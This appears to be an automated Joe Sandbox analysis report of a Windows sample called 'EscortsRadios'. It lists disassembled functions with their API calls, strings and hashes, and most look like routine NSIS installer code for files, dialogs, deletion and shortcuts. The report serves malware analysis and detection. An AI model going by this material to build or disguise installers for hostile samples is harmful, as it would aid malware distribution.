Function 00403336 Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE(00000000,00000000,00000000,00000000,000000FF,?,004033CE,000000FF,00000004,00000000,00000000,00000000), ref: 0040334D

Memory Dump Source

Source File: 00000000.00000002.1749842551.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1749817405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749866804.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749886770.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749886770.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749886770.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749988184.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749988184.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_66fd8d779da5e_EscortsRadios.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 1a43d381f500bc8dc9f00bbbc079669c25ab728c1eaf5fecfa5fd6a2526f4c39
Instruction ID: a3bc5d39330dd194e4c7332763fdc94ca13499671d705f1c19c6925397c50364
Opcode Fuzzy Hash: 1a43d381f500bc8dc9f00bbbc079669c25ab728c1eaf5fecfa5fd6a2526f4c39
Instruction Fuzzy Hash: C8E08C32550118BFCB109EA69C40EE73B5CFB047A2F00C832BD55E5290DA30DA00EBE8

Function 004037CC Relevance: 1.5, APIs: 1, Instructions: 20COMMON

Download Yara Rule

APIs

Part of subcall function 00406038: CharNextW.USER32(?,*?|<>/":,00000000,004D70C8,004C30A0,004D70C8,00000000,004037D8,004D70C8,-00000002,00403A0B), ref: 0040609B
Part of subcall function 00406038: CharNextW.USER32(?,?,?,00000000), ref: 004060AA
Part of subcall function 00406038: CharNextW.USER32(?,004D70C8,004C30A0,004D70C8,00000000,004037D8,004D70C8,-00000002,00403A0B), ref: 004060AF
Part of subcall function 00406038: CharPrevW.USER32(?,?,004C30A0,004D70C8,00000000,004037D8,004D70C8,-00000002,00403A0B), ref: 004060C3

CreateDirectoryW.KERNELBASE(004D70C8,00000000,004D70C8,004D70C8,004D70C8,-00000002,00403A0B), ref: 004037ED

Memory Dump Source

Source File: 00000000.00000002.1749842551.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1749817405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749866804.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749886770.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749886770.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749886770.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749988184.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749988184.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_66fd8d779da5e_EscortsRadios.jbxd

Similarity

API ID: Char$Next$CreateDirectoryPrev
String ID:
API String ID: 4115351271-0
Opcode ID: df63d9f6fb0dfe925f434423aee030f478bab57ed52ac2db2f8962d9fd449c2e
Instruction ID: 8ea1286759415c6f695425ed34242866ebe8a7a529327a4e56f2759b30593fc1
Opcode Fuzzy Hash: df63d9f6fb0dfe925f434423aee030f478bab57ed52ac2db2f8962d9fd449c2e
Instruction Fuzzy Hash: B1D0A921083C3221C562332A3D06FCF090C8F2635AB02C07BF841B61CA8B2C4B8240EE

Function 00403DAF Relevance: 1.5, APIs: 1, Instructions: 9windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,?,00000000,00000000), ref: 00403DC1

Memory Dump Source

Source File: 00000000.00000002.1749842551.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1749817405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749866804.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749886770.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749886770.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749886770.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749988184.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749988184.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_66fd8d779da5e_EscortsRadios.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 203c4a4104ade6b46efc04414fb016ca35add41c2a64233918ece76cb1940256
Instruction ID: 301fa2329b67e93c742f3c195cb428e9759bf169fd062939fd541a9b7e119014
Opcode Fuzzy Hash: 203c4a4104ade6b46efc04414fb016ca35add41c2a64233918ece76cb1940256
Instruction Fuzzy Hash: D3C04C71650601AADA108B509D45F1677595B50B41F544439B641F50E0D674E450DA1E

Function 00403368 Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(00000000,00000000,00000000,0040375A,?,?,?,?,00000000,00403A47,?), ref: 00403376

Memory Dump Source

Source File: 00000000.00000002.1749842551.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1749817405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749866804.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749886770.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749886770.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749886770.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749988184.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749988184.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_66fd8d779da5e_EscortsRadios.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: ff5c9719b5bb24227ed98436e19d1f66b73f6b097333bfca9e4e1763c30da83c
Instruction ID: da19c3e449f5d10d282cbd9bcc1d8f2f369397d5e390659c1e8fea63e82898b0
Opcode Fuzzy Hash: ff5c9719b5bb24227ed98436e19d1f66b73f6b097333bfca9e4e1763c30da83c
Instruction Fuzzy Hash: 0CB09231140204AEDA214B109E05F067A21FB94700F208824B2A0380F086711420EA0C

Function 00403D98 Relevance: 1.5, APIs: 1, Instructions: 6windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000028,?,00000001,004057B4), ref: 00403DA6

Memory Dump Source

Source File: 00000000.00000002.1749842551.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1749817405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749866804.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749886770.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749886770.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749886770.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749988184.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749988184.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_66fd8d779da5e_EscortsRadios.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 8ef0c84af5b69eb6e5c04aecb335cbd5d798096170d60dc049d97623b8df0028
Instruction ID: f61ffac979fbda5733e9df3da2bdae5977773398d3d4f9e0d67d11d125479468
Opcode Fuzzy Hash: 8ef0c84af5b69eb6e5c04aecb335cbd5d798096170d60dc049d97623b8df0028
Instruction Fuzzy Hash: EFB09235181A00AADE614B00DF0AF457A62A764701F008079B245640B0CAB200E0DB08

Function 00403D85 Relevance: 1.5, APIs: 1, Instructions: 4COMMON

Download Yara Rule

APIs

KiUserCallbackDispatcher.NTDLL(?,0040574D), ref: 00403D8F

Memory Dump Source

Source File: 00000000.00000002.1749842551.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1749817405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749866804.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749886770.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749886770.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749886770.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749988184.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749988184.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_66fd8d779da5e_EscortsRadios.jbxd

Similarity

API ID: CallbackDispatcherUser
String ID:
API String ID: 2492992576-0
Opcode ID: 7b5b3f07ec4b69a7f183f6b544b36b38adf2938630adbd4e30d083ffe7510c70
Instruction ID: d14db2bc66c636a64d409f7b36464c270e9f3e97be8c2f7aaa1954d4611ec3db
Opcode Fuzzy Hash: 7b5b3f07ec4b69a7f183f6b544b36b38adf2938630adbd4e30d083ffe7510c70
Instruction Fuzzy Hash: 8DA01275005500DBCF014B40EF048067A61B7503007108478F1810003086310420EB08

Function 00403859 Relevance: 1.3, APIs: 1, Instructions: 11COMMON

Download Yara Rule

APIs

CloseHandle.KERNELBASE(FFFFFFFF,00403AD1,?), ref: 00403864

Memory Dump Source

Source File: 00000000.00000002.1749842551.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1749817405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749866804.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749886770.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749886770.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749886770.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749988184.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749988184.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_66fd8d779da5e_EscortsRadios.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: a114d1ad3d6f72424773905f6d3d8555ffb504a96b4f495319bf21f79649ad7b
Instruction ID: b9bdbc8744521ee651ba7bc90111acac5a2c88e2b86e9c74d328a3688b9dc09a
Opcode Fuzzy Hash: a114d1ad3d6f72424773905f6d3d8555ffb504a96b4f495319bf21f79649ad7b
Instruction Fuzzy Hash: 7BC0223810020092E1242F34AE0EB063A04F740330F500B3EF0F2F02F0D73C8640006D

Non-executed Functions

Function 0040497C Relevance: 65.2, APIs: 33, Strings: 4, Instructions: 470windowmemoryCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003F9), ref: 00404993
GetDlgItem.USER32(?,00000408), ref: 004049A0
GlobalAlloc.KERNEL32(00000040,?), ref: 004049EF
LoadBitmapW.USER32(0000006E), ref: 00404A02
SetWindowLongW.USER32(?,000000FC,Function_000048CC), ref: 00404A1C
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000006,00000000), ref: 00404A2E
ImageList_AddMasked.COMCTL32(00000000,?,00FF00FF), ref: 00404A42
SendMessageW.USER32(?,00001109,00000002), ref: 00404A58
SendMessageW.USER32(?,0000111C,00000000,00000000), ref: 00404A64
SendMessageW.USER32(?,0000111B,00000010,00000000), ref: 00404A74
DeleteObject.GDI32(?), ref: 00404A79
SendMessageW.USER32(?,00000143,00000000,00000000), ref: 00404AA4
SendMessageW.USER32(?,00000151,00000000,00000000), ref: 00404AB0
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404B51
SendMessageW.USER32(?,0000110A,00000003,00000110), ref: 00404B74
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404B85
GetWindowLongW.USER32(?,000000F0), ref: 00404BAF
SetWindowLongW.USER32(?,000000F0,00000000), ref: 00404BBE
ShowWindow.USER32(?,00000005), ref: 00404BCF
SendMessageW.USER32(?,00000419,00000000,?), ref: 00404CCD
SendMessageW.USER32(?,00000147,00000000,00000000), ref: 00404D28
SendMessageW.USER32(?,00000150,00000000,00000000), ref: 00404D3D
SendMessageW.USER32(?,00000420,00000000,00000020), ref: 00404D61
SendMessageW.USER32(?,00000200,00000000,00000000), ref: 00404D87
ImageList_Destroy.COMCTL32(?), ref: 00404D9C
GlobalFree.KERNEL32(?), ref: 00404DAC
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00404E1C
SendMessageW.USER32(?,00001102,?,?), ref: 00404ECA
SendMessageW.USER32(?,0000113F,00000000,00000008), ref: 00404ED9
InvalidateRect.USER32(?,00000000,00000001), ref: 00404EF9
ShowWindow.USER32(?,00000000), ref: 00404F49
GetDlgItem.USER32(?,000003FE), ref: 00404F54
ShowWindow.USER32(00000000), ref: 00404F5B

Strings

, xrefs: 00404F39
N, xrefs: 00404C06
@, xrefs: 00404B90
M, xrefs: 00404B43

Memory Dump Source

Source File: 00000000.00000002.1749842551.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1749817405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749866804.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749886770.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749886770.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749886770.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749988184.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749988184.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_66fd8d779da5e_EscortsRadios.jbxd

Similarity

API ID: MessageSend$Window$ImageItemList_LongShow$Global$AllocBitmapCreateDeleteDestroyFreeInvalidateLoadMaskedObjectRect
String ID: $ @$M$N
API String ID: 1638840714-3479655940
Opcode ID: 222e44079ed98782fbb34ec8da515d99173e785f6e02dcb26c66960398e67004
Instruction ID: e2b6c32447eba08f07ab18e4c0942225b167af9b9c7e550a0b0592367213937f
Opcode Fuzzy Hash: 222e44079ed98782fbb34ec8da515d99173e785f6e02dcb26c66960398e67004
Instruction Fuzzy Hash: 09026CB0900209AFEF209FA4CD45AAE7BB5FB84314F10413AF615B62E1D7B89D91DF58

Function 004044A5 Relevance: 33.6, APIs: 15, Strings: 4, Instructions: 300stringkeyboardCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003F0), ref: 004044F9
IsDlgButtonChecked.USER32(?,000003F0), ref: 00404507
GetDlgItem.USER32(?,000003FB), ref: 00404527
GetAsyncKeyState.USER32(00000010), ref: 0040452E
GetDlgItem.USER32(?,000003F0), ref: 00404543
ShowWindow.USER32(00000000,00000008,?,00000008,000000E0), ref: 00404554
SetWindowTextW.USER32(?,?), ref: 00404583
SHBrowseForFolderW.SHELL32(?), ref: 0040463D
lstrcmpiW.KERNEL32(00462540,00447240,00000000,?,?), ref: 0040467A
lstrcatW.KERNEL32(?,00462540), ref: 00404686
SetDlgItemTextW.USER32(?,000003FB,?), ref: 00404696
CoTaskMemFree.OLE32(00000000), ref: 00404648

Part of subcall function 00405C84: GetDlgItemTextW.USER32(00000001,00000001,00002004,00403F81), ref: 00405C97

Part of subcall function 00406038: CharNextW.USER32(?,*?|<>/":,00000000,004D70C8,004C30A0,004D70C8,00000000,004037D8,004D70C8,-00000002,00403A0B), ref: 0040609B
Part of subcall function 00406038: CharNextW.USER32(?,?,?,00000000), ref: 004060AA
Part of subcall function 00406038: CharNextW.USER32(?,004D70C8,004C30A0,004D70C8,00000000,004037D8,004D70C8,-00000002,00403A0B), ref: 004060AF
Part of subcall function 00406038: CharPrevW.USER32(?,?,004C30A0,004D70C8,00000000,004037D8,004D70C8,-00000002,00403A0B), ref: 004060C3

Part of subcall function 00403E74: lstrcatW.KERNEL32(00000000,00000000,0046A560,004C70A8,install.log,00405A9C,004C70A8,004C70A8,004D30C0,00447240,80000001,Control Panel\Desktop\ResourceLocale,00000000,00447240,00000000,00000006), ref: 00403E8F

GetDiskFreeSpaceW.KERNEL32(00443238,?,?,0000040F,?,00443238,00443238,?,00000000,00443238,?,?,000003FB,?), ref: 00404759
MulDiv.KERNEL32(?,0000040F,00000400), ref: 00404774

Part of subcall function 00406805: GetVersion.KERNEL32(0043B228,?,00000000,00404FA9,0043B228,00000000,?,00000000,00000000), ref: 004068D6

SetDlgItemTextW.USER32(00000000,00000400,00409264), ref: 004047ED

Strings

82D, xrefs: 004046DB
A, xrefs: 00404636
@rD, xrefs: 00404610
@%F, xrefs: 00404674

Memory Dump Source

Source File: 00000000.00000002.1749842551.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1749817405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749866804.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749886770.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749886770.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749886770.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749988184.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749988184.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_66fd8d779da5e_EscortsRadios.jbxd

Similarity

API ID: Item$CharText$Next$FreeWindowlstrcat$AsyncBrowseButtonCheckedDiskFolderPrevShowSpaceStateTaskVersionlstrcmpi
String ID: 82D$@%F$@rD$A
API String ID: 3347642858-1086125096
Opcode ID: 41223eded68e0cc8c9bf9fa9bd2dae48608aba550ad56c91da83586f0d18507e
Instruction ID: 5c5d6a603380bcdbc7d7d35b60f5621b43697e5e98684918e033f9398a36e476
Opcode Fuzzy Hash: 41223eded68e0cc8c9bf9fa9bd2dae48608aba550ad56c91da83586f0d18507e
Instruction Fuzzy Hash: D1B1A4B1900209BBDB11AFA1CD85AAF7AB8EF45314F10847BF605B72D1D77C8A41CB59

Function 00406ED2 Relevance: 30.0, APIs: 14, Strings: 3, Instructions: 270filestringCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,80000000,00000001,00000000,00000003,00000080,00000000), ref: 00406EF6
ReadFile.KERNEL32(00000000,?,0000000C,?,00000000), ref: 00406F30
ReadFile.KERNEL32(?,?,00000010,?,00000000), ref: 00406FA9
lstrcpynA.KERNEL32(?,?,00000005), ref: 00406FB5
lstrcmpA.KERNEL32(name,?), ref: 00406FC7
CloseHandle.KERNEL32(?), ref: 004071E6

Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7

Strings

name, xrefs: 00406FBF
GetTTFNameString, xrefs: 00406F07
%s: failed opening file "%s", xrefs: 00406F0C

Memory Dump Source

Source File: 00000000.00000002.1749842551.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1749817405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749866804.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749886770.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749886770.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749886770.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749988184.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749988184.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_66fd8d779da5e_EscortsRadios.jbxd

Similarity

API ID: File$Read$CloseCreateHandlelstrcmplstrcpynlstrlenwvsprintf
String ID: %s: failed opening file "%s"$GetTTFNameString$name
API String ID: 1916479912-1189179171
Opcode ID: c1ee4f9d51a5711eefddbfc324bacbf89cb8dd321db642bada23a62a27e44b0a
Instruction ID: 34713ba181b26839f7619e948cf229fd8716e5ee99c03f3e8673f79b0d3e70cf
Opcode Fuzzy Hash: c1ee4f9d51a5711eefddbfc324bacbf89cb8dd321db642bada23a62a27e44b0a
Instruction Fuzzy Hash: 9091BF70D1412DAACF04EBA5DD909FEBBBAEF48301F00416AF592F72D0E6785A05DB64

Function 00406C9B Relevance: 29.9, APIs: 9, Strings: 8, Instructions: 190filestringCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNEL32(?,?,004C30A0), ref: 00406CB8
lstrcatW.KERNEL32(0045C918,\*.*,0045C918,?,-00000002,004D70C8,?,004C30A0), ref: 00406D09
lstrcatW.KERNEL32(?,00408838,?,0045C918,?,-00000002,004D70C8,?,004C30A0), ref: 00406D29
lstrlenW.KERNEL32(?), ref: 00406D2C
FindFirstFileW.KERNEL32(0045C918,?), ref: 00406D40
FindNextFileW.KERNEL32(?,00000010,000000F2,?), ref: 00406E22
FindClose.KERNEL32(?), ref: 00406E33

Strings

RMDir: RemoveDirectory on Reboot("%s"), xrefs: 00406E93
Delete: DeleteFile on Reboot("%s"), xrefs: 00406DE0
RMDir: RemoveDirectory("%s"), xrefs: 00406E6F
RMDir: RemoveDirectory failed("%s"), xrefs: 00406EB0
RMDir: RemoveDirectory invalid input("%s"), xrefs: 00406E58
Delete: DeleteFile failed("%s"), xrefs: 00406DFD
Delete: DeleteFile("%s"), xrefs: 00406DBC
\*.*, xrefs: 00406D03

Memory Dump Source

Source File: 00000000.00000002.1749842551.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1749817405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749866804.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749886770.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749886770.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749886770.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749988184.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749988184.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_66fd8d779da5e_EscortsRadios.jbxd

Similarity

API ID: FileFind$lstrcat$CloseDeleteFirstNextlstrlen
String ID: Delete: DeleteFile failed("%s")$Delete: DeleteFile on Reboot("%s")$Delete: DeleteFile("%s")$RMDir: RemoveDirectory failed("%s")$RMDir: RemoveDirectory invalid input("%s")$RMDir: RemoveDirectory on Reboot("%s")$RMDir: RemoveDirectory("%s")$\*.*
API String ID: 2035342205-3294556389
Opcode ID: 15be8897d6e9b53d01f132332000c29bcd26e475d5c6b9324dd4f7514e94a53d
Instruction ID: 0ca3ec5a28b3c1cae8259a28e21d86b18febecd5c0179aed135e39ed79665852
Opcode Fuzzy Hash: 15be8897d6e9b53d01f132332000c29bcd26e475d5c6b9324dd4f7514e94a53d
Instruction Fuzzy Hash: 2D51E3315043056ADB20AB61CD46EAF37B89F81725F22803FF943751D2DB7C49A2DAAD

Function 00406805 Relevance: 21.2, APIs: 8, Strings: 4, Instructions: 212stringCOMMON

Download Yara Rule

APIs

GetVersion.KERNEL32(0043B228,?,00000000,00404FA9,0043B228,00000000,?,00000000,00000000), ref: 004068D6
GetSystemDirectoryW.KERNEL32(00462540,00002004), ref: 00406958

Part of subcall function 00406009: lstrcpynW.KERNEL32(?,?,00002004,004038F1,0046ADC0,NSIS Error), ref: 00406016

GetWindowsDirectoryW.KERNEL32(00462540,00002004), ref: 0040696B
lstrcatW.KERNEL32(00462540,\Microsoft\Internet Explorer\Quick Launch), ref: 004069E5
lstrlenW.KERNEL32(00462540,0043B228,?,00000000,00404FA9,0043B228,00000000,?,00000000,00000000), ref: 00406A47

Strings

Software\Microsoft\Windows\CurrentVersion, xrefs: 00406926
@%F, xrefs: 0040682C
\Microsoft\Internet Explorer\Quick Launch, xrefs: 004069DF
@%F, xrefs: 00406A53

Memory Dump Source

Source File: 00000000.00000002.1749842551.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1749817405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749866804.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749886770.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749886770.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749886770.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749988184.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749988184.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_66fd8d779da5e_EscortsRadios.jbxd

Similarity

API ID: Directory$SystemVersionWindowslstrcatlstrcpynlstrlen
String ID: @%F$@%F$Software\Microsoft\Windows\CurrentVersion$\Microsoft\Internet Explorer\Quick Launch
API String ID: 3581403547-784952888
Opcode ID: 5b9b76f287d52b653a8a41dc6b1224aada0ccbd74d66441f1f03372adecf381e
Instruction ID: 7881bd453c5698e0e02013fa1c3524f2cf467b60749c67c5a59258f73e57ab2a
Opcode Fuzzy Hash: 5b9b76f287d52b653a8a41dc6b1224aada0ccbd74d66441f1f03372adecf381e
Instruction Fuzzy Hash: F171F4B1A00215ABDB20AF28CD44A7E3771EF55314F12C03FE906B62E0E77C89A19B5D

Function 004024FB Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 133comCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32(00409B24,?,00000001,00409B04,?), ref: 0040257E

Strings

CreateShortCut: out: "%s", in: "%s %s", icon: %s,%d, sw=%d, hk=%d, xrefs: 00402560

Memory Dump Source

Source File: 00000000.00000002.1749842551.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1749817405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749866804.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749886770.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749886770.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749886770.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749988184.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749988184.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_66fd8d779da5e_EscortsRadios.jbxd

Similarity

API ID: CreateInstance
String ID: CreateShortCut: out: "%s", in: "%s %s", icon: %s,%d, sw=%d, hk=%d
API String ID: 542301482-1377821865
Opcode ID: 0ddbb4256677b6c48083548557f3f7fdb52e2b2de327cf14ae3b1cdcca70b28b
Instruction ID: c24c797a6f187c751e7d972b1a807078ee58ffeb38f484aa28d094541f0f6205
Opcode Fuzzy Hash: 0ddbb4256677b6c48083548557f3f7fdb52e2b2de327cf14ae3b1cdcca70b28b
